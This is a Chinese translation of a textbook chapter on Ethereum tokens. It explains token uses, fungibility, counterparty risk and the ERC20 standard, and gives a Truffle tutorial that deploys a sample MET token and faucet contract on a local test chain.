代币（token）这个词源自古英语“tācen”，代表符号或记号的意思。通常意义上是指私人发行的、类似硬币形状的物体，具备少量价值，常见的有乘车代币、洗衣币和游戏币等。

如今，基于区块链的代币已经重新定义了这个词，区块链上的代币是指基于区块链的一种抽象资产，可以被持有并且用来代表资产、现金或访问权限。

现实世界中的代币往往跟“少量价值”这个特点相结合，通常限定于特定的领域，组织或者场所，现实世界中的代币几乎不能互相交易，也不能用于其他的用途。对于区块链上的代币，这些限制不复存在了。这些代币多数都承载了多种目的，可以互相之间进行交易，也可以跟其他数字货币在全球范围的交易所内交易。随着这些限制的消失，“少量价值”这个特点也同样成为历史。

在这一章，我们会讨论代币的多种用途和创建代币的方法。我们也会讨论代币的属性，例如可替代性和内在性。最终，我们将介绍代币相关的标准和技术，并实验发行自己的代币。




代币有哪些使用方式？



多数情况下，代币被用来表示数字化的私有货币。然而，这只是其中的一种情况。通过编程，代币可以提供多种功能，很多情况下这些功能互相重叠。例如，一个代币既可以代表一个投票的权利，同时又可以代表针对特定资源的访问权和所有权。数字货币只是代币的第一个应用场景而已。


货币


代币可以作为数字货币的一种形式，通过私下交易的方式确定它的价值。例如，以太币或者比特币。


资源


这类代币代表来自一个共享经济体或资源分享环境所产出或获取的资源。例如，一个存储或CPU代币代表着可以在网络上共享的一种资源。


资产


这类代币代表着链上或链下，有形或无形的资产。例如，黄金、房地产、一辆车、石油、能源等。


访问权限


这类代币代表一种针对物理资产或数字资产的访问权限，例如登录一个聊天室、访问专用的网站、入住一个酒店或租车等。


权益


这类代币既可以代表一个数字化组织（例如DAO去中心化自制组织）的股东权益，也可以代表传统的公司的股东权益。


投票权


这类代币可以代表数字系统或传统组织中的投票权。


收藏品


这类代币可以用来代表数字化的收藏品（例如CryptoPunks）或真实的收藏品（例如油画）。


身份


这类代币可以用来代表一个数字化的身份，或者一个法律意义上的身份（如居民ID）。


证言


这类代币可以用来代表针对某个事实的认证或证言，可由一个权利机构，或者去中心化的信用体系所发布。


Utility


用于使用或支付某种服务的代币。

通常，一个代币往往同时具备上述多个功能。在某些情况下，很难把它们区分清楚，因为它所对应的物理世界中的等价物是不可避免地联系在一起的。例如，现实世界中的驾照（这是一个能够开车的认证）也同样是一个身份证明文件，两者是密不可分的。在数字世界中，之前那些混合在一起的功能是可以分开并且单独开发的（例如匿名的能力认证）。




代币和可替代性



引自维基百科（
https://en.wikipedia.org/wiki/Fungibility

 ）：在经济学中，可替代性是指商品或货物的一种属性，这类商品或货物的基本单元可以互相交换。

代币的可替代性是指当我们把一个代币的基本单元互相交换时，并不影响它的价值或功能。例如，以太币是一个可互相替代的代币，因为任何等值的以太币之间都具备相同的价值和用途。

严格意义上说，如果一个代币的交易历史是公开的，那么它就不完全是一个可互相替代的代币。根据代币交易历史的追踪，可由此设定对应的黑名单或白名单，这会降低甚至消除这个代币的可替代性。

不可替代性代币是指那些代表了独特的有形或无形资产的代币，因此这些代币之间不可以互相替代。例如，某一个代币表示对一幅梵高作品的所有权，这个代币无法与代表了毕加索作品的代币互相交换。同样，一枚代表某个数字资产（例如前一阵子火爆的CryptoKitty）的代币，也不能与代表了其他数字资产的代币进行交换。


 　我们稍后会介绍针对有形和无形资产的代币细节。

注意，“可替换”通常用于表示“可直接兑换货币”（例如，娱乐场代币可以“兑现”，而洗衣代币通常不能）。这不是我们在这里使用这个词的意义。




对手方风险



对手方风险是指交易的另一方没有履行他们的承诺或义务。有些交易会带来额外的对手方风险，因为有第三方甚至多方会参与这个交易。例如，你拥有针对某个贵重金属的提货券，你希望把这个提货券卖掉，在这个交易中至少有三方需要参与：卖方、买方和贵重金属的保管方。这些物理资产的保管方不可避免地成为交易的一部分，由此引入了更多的对手方风险。当资产通过一个交易所进行间接交易时，那么资产的保有方就是这个额外的对手方风险的来源。他们是否真正持有这些资产？他们是否认可这次基于代币（或保存凭证、契约、数字代币等）形式的交易？在数字代币的世界中，我们必须理解代币所代表的资产的真实持有者，以及针对这些资产的规则。




代币和内在性



“intrinsic”这个词来源于拉丁语“intra”，意思是“内在的”。

有些代币所代表的资产是区块链内在的。这些资产是由共识规则所控制的，就如同代币本身。这也就意味着：代表着区块链内在资产的代币不会有额外的对手方风险。如果你持有一个以太币，没有额外的第三方可以控制或影响你的所有权。区块链的共识规则会起作用，你对私钥的控制就相当于是对对应资产的完全所有权，没有任何的中间层。

相反地，很多代币用来表示区块链之外的资产，例如房地产、公司的投票权、商标、金条等。这些资产的所有权，并不在区块链之上，是由现实世界中的法律、法规这些与区块链世界中的共识规则完全不同的方式管理。因此，这些区块链之外的资产带有额外的对手方风险，因为它们被一些人持有，记录在额外的登记系统内，或由区块链之外的法律和法规进行控制。

基于区块链代币的一个非常重要的未来，就是用区块链内的资产替代区块链外的资产，因此可以消除对手方风险。一个例子就是把公司的股权（区块链之外的）转移到区块链之上的去中心化自治组织或类似组织的投票代币。




使用代币：工具型代币还是权益型代币？



今天以太坊之上几乎所有的项目都会发行某种形式的代币。但是这些项目真的需要代币吗？使用代币会带来什么问题吗？“把一切资产代币化”会成为事实吗？

首先，我们先来澄清在一个新项目中发行的代币的角色。绝大多数项目中，代币有这两个用途：工具型代币或权益型代币。通常，这两个角色交织在一起，很难分清。

工具型代币是指用来支付某个服务、应用或资源的代币。工具型代币的例子包括代表了资源的共享存储、访问例如社交媒体网络等服务，或者类似以太坊网络中使用以太币支付的gas。相比而言，权益型代币是指代表了一个初创公司股权的代币。

权益型代币可以被设定为没有投票权的，用来分红和分配利润的代币，也可以承载一个去中心化自治组织的投票权，这类组织的管理由持有代币的所有人共同投票决定。



It’s a Duck!



虽然很多初创公司使用代币进行融资，这并不代表必须使用代币来支付初创公司提供的服务。很多初创公司面临着一个难题：代币是一种很好的融资机制，但是在很多国家公开向公众发行股票是被严格监管的行为。通过以工具型代币的方式发行融资为目的的权益型代币，很多初创公司希望借此绕过严格的监管，通过公开发行的方式完成募资，而对外的形态却是工具型代币的预售而已。

正如俗语所说：“如果它像鸭子一样走路，像鸭子一样嘎嘎叫，那它就是一只鸭子。”监管机构不会因这些语义扭曲而分心，恰恰相反，他们更有可能将这种法律诡辩视为欺骗公众。



谁需要工具型代币？



真正的问题在于，这些工具型代币可能会为初创公司带来风险和业务推广的屏障。也许在不久的将来，“把一切代币化”的口号会成为现实。但是在今天，真正能够访问、理解和愿意使用代币的人群，只是数字货币这个小众市场中的一部分而已。

对于一家初创公司，每一次创新都意味着一定风险，也意味着较小的受众市场。创新是一条前人没有走过的道路，偏离了传统的道路。这本身就是一场孤独之旅。如果初创公司尝试在某一个领域进行创新，例如开发一种基于P2P网络的存储共享服务，这本身就是非常孤独小众的新兴事物。如果在这样的创新之上再增加一个工具型代币，这意味着用户必须使用数字代币才能使用这个服务，这无异增加了风险和推广的门槛。这等于从P2P存储共享这条小众的创新道路上偏离，彻底进入了荒野。

把每一次创新都想象成一个过滤器。创新意味着它所面对的早期用户的市场很小。如果再增加额外的一层过滤器（数字代币），就会更进一步限制市场的范围。这意味着你的早期使用者要采用两个全新的技术：你自己创建的创新技术或产品，及新型的数字代币经济。

对于一个初创公司，每次创新都增加了失败的风险。如果你在已经有风险的创业主意的基础上再增加一个工具型代币，你就相当于把整个平台（以太坊）、相关生态（交易所）、监管环境（权益、商品监管）和技术（智能合约、代币标准）的风险都加到了你的创业项目之上。这对于一个初创公司来说是难以承担的。

“把一切代币化”的鼓吹者可能会反对这个观点，因为通过发行代币，初创企业也获得了市场的关注度、早期采用者、技术和创新，包括交易所带来的代币经济流动性。这样说并没有错，关键的问题在于，这些好处和市场热度，是否能抵消对应的风险和不确定性。

然而，一些最具创新性的商业理念确实发生在数字货币这个领域。如果监管机构没有足够快速通过法律并支持新的商业模式，那么人才和企业家将寻求在其他对数字货币更加友好的司法管辖区内运营。这实际上正在发生。

在本章开始介绍代币的概念时，我们讨论过代币的一个口语化含义是“具备少量价值”。大多数代币“具备少量价值”这个含义背后的原因是因为它们只是在一个很窄的领域中被使用：例如公交公司的乘车代币、洗衣房、游戏机房或者旅馆、公司内部的超市等。有限的流动性、有限的应用范围和较高的沟通交易成本降低了代币的价值。所以，当你在平台中引入工具型代币时，这个代币只能用于支付你的服务这样的一个小众市场和场景，你正在复制那些毫无价值的物理代币。为了使用你的服务或者平台，用户必须购买你的代币，使用之后还需要把余额再换回更通用的货币，这就相当于创造了一种“内部票券”。在交易所的帮助下，数字代币跟通用货币的转换并不会特别困难，但这并不意味着没有任何转换成本。能够在整个行业中使用的工具型代币会非常有趣，也肯定很有价值。但如果你在进行创业并且面临的是一个全新的市场，发行工具型代币并不会为你带来优势。


 　在像以太坊这样的通用平台上部署服务的好处之一是能够跨项目连接智能合约（以及对应的代币），增加了代币的流动性和适用范围。

做决策还需要正确的依据。只有在你的应用必须使用工具型代币的时候，才考虑发行。使用代币来解决你所面临的市场准入或其他门槛问题。不要因为更快融资的原因而发行那些看上去不是公开募资的工具型代币。




以太坊的代币



区块链上的代币概念要早于以太坊的出现。在一些情况下，第一个区块链数字货币，本身就是一个代币。一些代币平台在基于比特币或其他数字货币的基础上开发过代币。然而，以以太坊为基础的第一个代币标准导致了这个领域的大爆发。

Vitalik Buterin曾提出，代币是以太坊这类通用编程区块链之上最显著和有用的应用形态。实际上，在以太坊发展的早期，经常能看到Vitalik和其他核心成员穿着带有以太坊标记并在背部印有智能合约代码的T恤衫。这款T恤有好几个变种，但是绝大多数印在背部的代码都展示了代币的实现合约。

在我们深入研究在以太坊上创建代币的细节之前，首先要了解代币如何在以太坊上工作。代币与以太币不同，因为以太坊协议本身跟代币完全没有任何关联。发送以太币是以太坊平台的内在动作，但发送或拥有代币并不是以太坊协议中定义的内容。以太坊账户的以太币余额在协议级别处理，而以太坊账户的代币余额在智能合约级别处理。要在以太坊上创建新代币，你必须创建一个新的智能合约。部署后，智能合约将处理所有内容，包括所有权，转移和访问权限。你可以编写智能合约，以任何方式执行所有必要的操作，但遵循现有标准可能是最明智的。接下来我们将看看这些标准。我们将在本章末尾讨论以下标准的优缺点。



ERC20代币标准



代币的第一个标准由Fabian Vogelsteller在2015年11月提出，作为一个以太坊的需求提议（ERC）。这个提议在GitHub上被自动分配了20的编号，因此这个标准对应的代币在之后都被称为ERC20代币。现在大多数的代币都是基于ERC20标准，这个需求提议最终成为以太坊的标准EIP-20，但是大多数人仍旧喜欢采用ERC20这个叫法。

ERC20是可替代性代币的标准，意味着ERC20代币的不同单元之间是可以互相交换的，代币并没有独特的属性。

ERC20标准定义了通过合约实现代币的通用接口，兼容此标准的所有代币都可以采用相同的方式被访问和使用。这个接口包含了一组必须实现的函数，及若干可选的函数和属性，可供开发者根据需要添加。


ERC20标准规定的函数和事件


ERC20兼容的合约必须实现如下的函数和事件：


totalSupply（总发行量）


返回当前已经发行的代币总量。ERC20的代币发行量可以是固定的，也可以调整修改。


balanceOf（余额）


针对一个给定的地址，返回这个地址之上的代币余额。


transfer（转账）


给定一个地址和数量，从执行这个转账操作的账户中，把对应数量的代币转账到这个地址中。


transferFrom（从其他账户转账）


给定一个发送方、接收方和数量，从发送方转账对应数量的代币到接收方，通常与approve一并使用。


approve（审批）


给定一个接收地址（不是最终接收地址）和数量，授权接收地址可以从执行这个审批的地址中一次或分次转账不超过对应数量的代币到其他地址。


allowance（配额）


给定一个持有方和发送方地址，返回发送方还可以从持有方转走的经过审批的代币的余额。


Transfer（转账事件）


成功转账触发的事件（调用transfer或transferFrom），即使转账金额为零，也会触发这个事件。


Approval（审批事件）


成功执行审批后触发的事件。


ERC20的可选函数


除了上述必须实现的函数和事件之外，ERC20标准还定义了如下的可选函数：


name（名称）


返回一个可读的代币名称。


symbol（符号）


返回一个可读的代币符号。


decimals（位数）


返回代币可以细分的颗粒度，例如：如果decimals是2，那么这个代币可以在用户端显示为100的份数。


在Solidity中ERC20的接口定义


这是在Solidity编程语言中ERC20接口的规范：






contract ERC20 {



    function totalSupply() constant returns (uint theTotalSupply);



    function balanceOf(address _owner) constant returns (uint balance);



    function transfer(address _to, uint _value) returns (bool success);



    function transferFrom(address _from, address _to, uint _value) returns (bool success);



    function approve(address _spender, uint _value) returns (bool success);



    function allowance(address _owner, address _spender) constant returns (uint remaining);



    event Transfer(address indexed _from, address indexed _to, uint _value);



    event Approval(address indexed _owner, address indexed _spender, uint _value);



}








ERC20的数据结构


任何ERC20实现，都会包含两个数据结构，一个用来记录余额，另一个用来记录配额。在Solidity中，这些是通过数据映射实现的。

第一个数据映射实现了一个针对每个持有人的代币余额的内部表格。这允许代币合约跟踪代币持有情况的变化。每次转账，都会从一个余额扣除，在另一个余额上增加。






mapping(address => uint256) balances;







第二个数据结构是针对配额的数据映射。在下一节中我们会看到，通过ERC20代币，一个代币持有人可以把代币的分配权代理给某一个发送方，允许发送方从持有人的账户中一次或多次转出指定数量的代币。ERC20合约使用一个二维的映射来跟踪这个配额的变化情况，把代币持有人的地址映射到发送方的地址和给予发送方的配额：






mapping (address => mapping (address => uint256)) public allowed;








ERC20的工作流：transfer和approve&transferFrom


你一定很奇怪为什么代币标准中会有两种转账函数。

ERC20支持两种转账。第一种是单一式转账，直接使用transfer函数。这个流程被钱包软件用来发送代币给其他地址。大多数的代币转账都是通过transfer函数完成的。

执行转账合约是非常简单的。如果Alice希望发送10个代币给Bob，Alice的钱包只需要发送一个交易到代币的合约地址，使用Bob的地址和10个代币作为参数调用transfer函数。代币合约会从Alice的余额中扣除10个代币，并在Bob的余额中增加10个代币，这一切完成后，会触发一个Transfer事件。

第二种方式是使用了approve和transferFrom的两步式交易。这个流程允许代币的持有人授权其他地址操纵他们的代币。这通常用于授权给某一个合约地址，进行代币的分发，但也可以用于交易所的场景。

例如，某个公司正在销售ICO的代币，他们使用授权某个众筹合约的地址进行一定数量的代币分发。这个众筹合约就可以使用transferFrom把代币从持有人的余额中转账给ICO代币的买方，如图10-1所示。




图10-1：ERC20代币的两步审批和transferFrom流程


 　ICO是一种众筹机制，公司和组织通过销售代币来筹集资金。该术语源自首次公开发行（IPO），即上市公司向证券交易所的投资者出售股票的过程。与高度监管的IPO市场不同，ICO是开放的、全球性的，甚至是混乱的。本书中关于ICO的例子和解释并不代表对这类筹款方式的认可。

对于approve&transferFrom流程，需要两个交易才能完成。我们假设Alice希望AliceICO合约有权销售AliceCoin代币的50%给ICO的买家，例如Bob和Charlie。首先，Alice发布AliceCoin ERC20代币合约，把所有代币都转入她自己的账户。接着，Alice发布AliceICO合约，用来出售代币换取以太币。Alice发起一个approve&transferFrom流程。她给AliceCoin合约发出一个交易，调用approve函数，其中使用AliceICO合约作为授权地址，以及50%代币totalSupply这两个值作为参数。这会触发Approval事件，现在AliceICO合约有权对外分发AliceCoin了。

当AliceICO合约收到Bob支付的以太币之后，它需要给Bob发回一定数量的AliceCoin。在AliceICO合约中，定义了一个AliceCoin和以太币之间的交易汇率。Alice在创建AliceICO合约时设定的交易汇率决定了Bob会收到多少与其支付的以太币对应的代币。当AliceICO合约调用AliceCoin的transferFrom函数时，它把Alice的地址设定为发送方，Bob的地址设定为接收方，使用交易汇率来决定有多少AliceCoin应该被转换到Bob的账户。AliceCoin这个合约从Alice的地址中AliceCoin转账给Bob的地址，并触发Transfer事件。AliceICO合约可以无限次地调用transferFrom方法，只要转账的总额不超过Alice之前批准的上限即可。AliceICO合约可以通过调用AliceCoin的allowance方法获得它还可以进行转账的配额数量。


ERC20的实现


尽管使用大约十几行Solidity代码就可以实现一个ERC20兼容的代币，为了避免潜在的安全问题，大多数的代币实现都比这个要复杂一些。在EIP20标准中，提到了以下两个参考实现：


Consensys EIP20（
 
https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol

 ）


ERC20标准兼容代币的一个简单易读的实现。


OpenZeppelin StandardToken（
 
https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol

 ）


这个ERC20标准兼容代币的实现中增加了安全有关的一些预防措施。它构成了OpenZeppelin程序库，实现了包含融资上限、拍卖、行权计划和其他更复杂的代币功能。



发行我们自己的ERC20代币



让我们创建和发行一个属于自己的代币，我们将使用Truffle框架。我们假设你已经安装和配置了Truffle框架，并且熟悉它的一些基本操作。


 　我们把这个代币称之为“Mastering Ethereum Token”，简称MET。

你可以在本书的GitHub代码仓库中找到这个例子的代码，网址为
https://github.com/ethereumbook/ethereumbook/blob/develop/code/truffle/METoken

 。

首先，让我们创建和初始化一个Truffle项目目录。运行如下四个命令，并使用默认答案回答所有问题：






$ mkdir METoken



$ cd METoken



METoken $ truffle init



METoken $ npm init







你将会获得如下目录结构：






METoken/



+---- contracts



|   `---- Migrations.sol



+---- migrations



|   `---- 1_initial_migration.js



+---- package.json



+---- test



+---- truffle-config.js



`---- truffle.js







通过编辑truffle.js或truffle-config.js配置文件来设定Truffle的环境，也可以直接从这个地址（
https://github.com/ethereumbook/ethereumbook/blob/develop/code/truffle/METoken/truffle-config.js

 ）复制一个我们使用的模板。

如果你使用来自GitHub的truffle.js配置模板，请记得在METoken文件夹创建一个.env文件，用来包含你的私钥，这个私钥会用来测试并在以太坊测试网络（Ropsten或Kovan）上部署。你可以从MetaMask中导出一个私钥用在这里。

完成后，目录的结构如下：






METoken/



+---- contracts



|   `---- Migrations.sol



+---- migrations



|   `---- 1_initial_migration.js



+---- package.json



+---- test



+---- truffle-config.js



+---- truffle.js



`---- .env *new file*








 　请不要把已经含有真实以太币账户的私钥用于这个测试环境。确保只使用测试私钥或测试环境下的私钥助记词。

在我们的例子中，我们将导入OpenZeppelin程序库，它实现了一些重要的安全检查功能，并且易于扩展。现在导入这个程序库：






$ npm install openzeppelin-solidity@1.12.0



+ openzeppelin-solidity@1.12.0



added 1 package from 1 contributor and audited 2381 packages in 4.074s







openzeppelin-solidity程序包会在node_modules文件夹添加大约250个文件。OpenZeppelin程序库除了实现ERC20代币标准之外，还有很多其他的功能，但是我们这次只会用到一小部分。

接着，我们来编写自己的合约。创建一个名为METoken.sol的文件，从GitHub地址
https://github.com/ethereumbook/ethereumbook/blob/develop/code/truffle/METoken/contracts/METoken.sol

 复制代码到这个文件。

我们的合约（见代码10-1）非常简单，因为它已经从OpenZeppelin标准代币程序库继承了所有的功能。


代码10-1：METoken.sol:实现ERC20代币的Solidity合约代码







1 pragma solidity ^0.4.21;



2



3 import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';



4



5 contract METoken is StandardToken {



6     string public constant name = 'Mastering Ethereum Token';



7     string public constant symbol = 'MET';



8     uint8 public constant decimals = 2;



9     uint constant _initial_supply = 2100000000;



10



11     function METoken() public {



12         totalSupply_ = _initial_supply;



13         balances[msg.sender] = _initial_supply;



14         emit Transfer(address(0), msg.sender, _initial_supply);



15     }



16 }







现在，我们来定义那些可选的变量：name、symbol和decimals。我们也需要定义_initial_supply变量的值，我们设定为2100万个代币，可以精确拆分到小数点后两位（一共21亿个最小单位）。在合约的初始化（构造函数）中我们设定totalSupply等于_initial_supply，并把所有_initial_supply数量的代币全部转入创建这个METoken合约的账户（用msg.sender表示）。

我们现在使用truffle来编译METoken的代码：






$ truffle compile



Compiling ./contracts/METoken.sol...



Compiling ./contracts/Migrations.sol...



Compiling openzeppelin-solidity/contracts/math/SafeMath.sol...



Compiling openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol...



Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol...



Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol...



Compiling openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol...







如你所见，truffle会从OpenZeppelin程序库集成一些必要的依赖，然后编译这些合约。

我们来设定一个迁移脚本，用于部署METoken合约。在METoken/migrations文件夹创建一个名为2_deploy_contracts.js的新文件，从GitHub地址
https://github.com/ethereumbook/ethereumbook/blob/develop/code/truffle/METoken/migrations/2_deploy_contracts.js

 复制代码到这个文件。






1 var METoken = artifacts.require("METoken");



2



3 module.exports = function(deployer) {



4   // Deploy the METoken contract as our only task



5   deployer.deploy(METoken);



6 };







在把合约部署到具体的以太坊测试网络之前，我们启动一个本地区块链环境来做一遍测试。从命令行使用ganache-cli或使用图形化界面，启动ganache本地测试区块链：

当ganache启动后，我们可以把我们的METoken合约部署上去，并且检验合约是否按照预期要求运行：






$ truffle migrate --network ganache



Using network 'ganache'.



Running migration: 1_initial_migration.js



  Deploying Migrations...



  ... 0xb2e90a056dc6ad8e654683921fc613c796a03b89df6760ec1db1084ea4a084eb



  Migrations: 0x8cdaf0cd259887258bc13a92c0a6da92698644c0



Saving successful migration to network...



  ... 0xd7bc86d31bee32fa3988f1c1eabce403a1b5d570340a3a9cdba53a472ee8c956



Saving artifacts...



Running migration: 2_deploy_contracts.js



  Deploying METoken...



  ... 0xbe9290d59678b412e60ed6aefedb17364f4ad2977cfb2076b9b8ad415c5dc9f0



  METoken: 0x345ca3e014aaf5dca488057592ee47305d9b3e10



Saving successful migration to network...



  ... 0xf36163615f41ef7ed8f4a8f192149a0bf633fe1a2398ce001bf44c43dc7bdda0



Saving artifacts...







在ganache控制台，我们可以看到我们的部署行为已经对应创建了四个交易，如图10-2所示。




图10-2：在ganache上部署METoken


使用Truffle控制台与METoken交互


我们可以使用Truffle控制台与部署在ganache区块链之上的合约进行交互。这是一个JavaScript的交互式环境，提供了借助web3类库访问Truffle环境并与本地区块链交互的能力。在我们的例子中，使用了Truffle控制台连接ganache本地测试区块链。






$ truffle console --network ganache



truffle(ganache)>







truffle(ganache)>命令提示符说明我们已经连接到了ganache本地测试区块链环境，并且可以输入我们的命令。Truffle控制台支持所有truffle命令，所以我们可以在这里执行compile和migrate。因为已经运行过这些命令了，所以我们直接开始合约的操作。METoken合约是作为一个JavaScript对象存在于Truffle环境的。在命令行输入METoken会显示合约的所有定义内容：






truffle(ganache)> METoken



{ [Function: TruffleContract]



  _static_methods:



[...]



currentProvider:



  HttpProvider {



    host: 'http://localhost:7545',



    timeout: 0,



    user: undefined,



    password: undefined,



    headers: undefined,



    send: [Function],



    sendAsync: [Function],



    _alreadyWrapped: true },



network_id: '5777' }







METoken对象也暴露了一些属性，例如合约的地址（由migrate命令部署）：






truffle(ganache)> METoken.address



'0x345ca3e014aaf5dca488057592ee47305d9b3e10'







如果我们要跟部署后的合约交互，我们必须使用JavaScript的“promise”异步调用。我们使用deployed函数来获得合约实例，然后调用它的totalSupply函数：






truffle(ganache)> METoken.deployed().then(instance => instance.totalSupply())



BigNumber { s: 1, e: 9, c: [ 2100000000 ] }







接着，我们使用在ganache本地测试区块链中创建的账户来检查METoken的余额，并且尝试进行一些转账，首先，我们来获取一些测试账户：






truffle(ganache)> let accounts



undefined



truffle(ganache)> web3.eth.getAccounts((err,res) => { accounts = res })



undefined



truffle(ganache)> accounts[0]



'0x627306090abab3a6e1400e9345bc60c78a8bef57'







accounts列表现在包含ganache创建的所有账户，account[0]是那个用来部署METoken合约的账户。这个账户中应该保存METoken的余额，因为METoken的构造函数把发行的所有代币都存入了创建代币合约的地址，我们来检验一下：






truffle(ganache)> METoken.deployed().then(instance =>



                 { instance.balanceOf(accounts[0]).then(console.log) })



undefined



truffle(ganache)> BigNumber { s: 1, e: 9, c: [ 2100000000 ] }







最终，通过调用合约的transfer函数，让我们从account[0]转账1000.00个METoken到account[1]：






truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.transfer(accounts[1], 100000) })



undefined



truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.balanceOf(accounts[0]).then(console.log) })



undefined



truffle(ganache)> BigNumber { s: 1, e: 9, c: [ 2099900000 ] }



undefined



truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.balanceOf(accounts[1]).then(console.log) })



undefined



truffle(ganache)> BigNumber { s: 1, e: 5, c: [ 100000 ] }








 　METoken是带有2位数精确度的代币，意味着1个METoken是指合约中的100个基本单位。但我们转账1000 METoken时，我们需要在transfer函数中指定的值应该是100000。

如你所见，在控制台的显示中，account[0]现在有20999000个MET，而account[1]有了1000个MET。

如果切换到ganache的图形用户界面，你会看到调用transfer函数的交易，如图10-3所示。




图10-3：在ganache上转账METoken


向合约地址发送ERC20代币


目前我们已经部署了ERC20代币，并进行了账户之间的转账。所有我们演示用的账户都是外部账户，意味着它们是被私钥所控制的，而不是一个合约。如果我们把MET发送给一个合约地址，会发生什么？我们来试试看。

首先，在测试环境中部署第二个合约。在这个例子中使用我们编写的第一个合约Faucet.sol。我们把它添加到METoken的项目中的contracts目录。我们的目录结构应该是这样的：






METoken/



+---- contracts



|   +---- Faucet.sol



|   +---- METoken.sol



|   `---- Migrations.sol







我们再添加一个用于从METoken项目单独部署Faucet的迁移：






var Faucet = artifacts.require("Faucet");



module.exports = function(deployer) {



  // Deploy the Faucet contract as our only task



  deployer.deploy(Faucet);



};







我们在Truffle控制台编译并迁移合约：






$ truffle console --network ganache



truffle(ganache)> compile



Compiling ./contracts/Faucet.sol...



Writing artifacts to ./build/contracts



truffle(ganache)> migrate



Using network 'ganache'.



Running migration: 1_initial_migration.js



  Deploying Migrations...



  ... 0x89f6a7bd2a596829c60a483ec99665c7af71e68c77a417fab503c394fcd7a0c9



  Migrations: 0xa1ccce36fb823810e729dce293b75f40fb6ea9c9



Saving artifacts...



Running migration: 2_deploy_contracts.js



  Replacing METoken...



  ... 0x28d0da26f48765f67e133e99dd275fac6a25fdfec6594060fd1a0e09a99b44ba



  METoken: 0x7d6bf9d5914d37bcba9d46df7107e71c59f3791f



Saving artifacts...



Running migration: 3_deploy_faucet.js



  Deploying Faucet...



  ... 0x6fbf283bcc97d7c52d92fd91f6ac02d565f5fded483a6a0f824f66edc6fa90c3



  Faucet: 0xb18a42e9468f7f1342fa3c329ec339f254bc7524



Saving artifacts...







太棒了！现在我们尝试发送一些MET代币到Faucet合约地址：






truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.transfer(Faucet.address, 100000) })



truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.balanceOf(Faucet.address).then(console.log)})



truffle(ganache)> BigNumber { s: 1, e: 5, c: [ 100000 ] }







好了，我们已经完成了支付给Faucet合约的1000个MET的转账。现在，我们如何从Faucet合约提取这些代币呢？

还记得吗？Faucet.sol是一个非常简单的合约。它只有一个withdraw函数，用于提取以太币。它并没有用于提取MET代币或其他代币的函数。如果我们调用withdraw，它会尝试提取以太币，但是Faucet当前并没有以太币余额，因此调用会失败。

METoken合约明知它已经把代币转入了Faucet合约（更准确地说，是把代币的所有权映射到了Faucet合约的地址），但METoken合约可以转移Faucet合约名下代币余额的唯一方法是它从Faucet合约地址收到一个transfer调用。因此我们需要让Faucet合约调用METoken中的transfer函数。

如果你不清楚接下来该怎么办？那就别想了，这个问题并没有任何解决方案：发送给Faucet合约的MET代币永远“卡”在了合约里。只有Faucet合约有权操作这些代币，但是Faucet合约中并没有任何代码包含transfer函数来调用代币的ERC20合约。
 


[1]






也许你预料到了这个问题，但是很多人并没有考虑这么多。实际上，很多以太坊用户不慎把各种代币转入并不具备ERC20代币操作能力的合约，他们都没有考虑到这个问题。根据一些估算，价值超过250万美元的各种代币就这样永远地“卡”在了区块链上。

另外，向交易所或者其他服务转账也可能导致ERC20代币持有者不慎丢失代币。他们从交易所网站复制一个以太坊地址，想着可以直接给这个地址转入代币。然而，很多交易所发布的接收地址其实是合约地址。这些合约可以用于多种功能，很多情况下可以把收到的各种代币转换到“冷钱包”或其他集中管理的钱包中。很多人会忽略“不要把代币转入这个地址”的警告，导致他们的代币永久丢失。


approve&transferFrom流程的具体过程


我们的Faucet合约无法处理ERC20代币。使用transfer函数向这个合约地址发送代币会导致代币的永久丢失。让我们来重写合约，使它具备处理代币的能力。我们把这个合约改成可以向任何提出提币申请的地址送出MET代币的Faucet合约。

在这个例子中，我们复制truffle项目目录，把它命名为METoken_METFaucet，初始化truffle和npm，并安装OpenZeppelin依赖，复制METoken.sol合约的代码。请在我们第一个例子中了解具体的步骤。

现在，我们来创建名为METFaucet.sol的新Faucet合约，具体的代码如代码10-2所示。


代码10-2：METFaucet.sol：METoken的Faucet合约







1 // Version of Solidity compiler this program was written for



2 pragma solidity ^0.4.19;



3



4 import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';



5



6



7 // A faucet for ERC20 token MET



8 contract METFaucet {



9



10    StandardToken public METoken;



11    address public METOwner;



12



13    // METFaucet constructor, provide the address of METoken contract and



14    // the owner address we will be approved to transferFrom



15    function METFaucet(address _METoken, address _METOwner) public {



16



17        // Initialize the METoken from the address provided



18        METoken = StandardToken(_METoken);



19        METOwner = _METOwner;



20    }



21



22    function withdraw(uint withdraw_amount) public {



23



24    // Limit withdrawal amount to 10 MET



25    require(withdraw_amount <= 1000);



26



27        // Use the transferFrom function of METoken



28        METoken.transferFrom(METOwner, msg.sender, withdraw_amount);



29  }



30



31    // REJECT any incoming ether



32    function () public payable { revert(); }



33



34 }







我们在Faucet示例的基础上进行了很多修改，因为METFaucet将调用METoken的transferFrom函数，因此它需要两个额外的变量。一个是已经部署的METoken合约的地址，另一个是MET代币持有人的地址，用于批准Faucet的提币申请。METFaucet合约会调用METoken.transferFrom并指令这个合约从MET持有人的账户转账给调用Faucet提币请求的发起地址。

我们声明如下两个变量：






StandardToken public METoken;



address public METOwner;







因为我们的Faucet需要正确的地址来初始化METoken和METOwner，所以需要一个自定义的构造函数：






// METFaucet constructor - provide the address of the METoken contract and



// the owner address we will be approved to transferFrom



function METFaucet(address _METoken, address _METOwner) public {



    // Initialize the METoken from the address provided



    METoken = StandardToken(_METoken);



    METOwner = _METOwner;



}







下一个修改是针对withdraw函数。METFaucet使用METoken合约中的transferFrom函数，要求METoken合约把MET代币转入Faucet申请人的地址：






// Use the transferFrom function of METoken



METoken.transferFrom(METOwner, msg.sender, withdraw_amount);







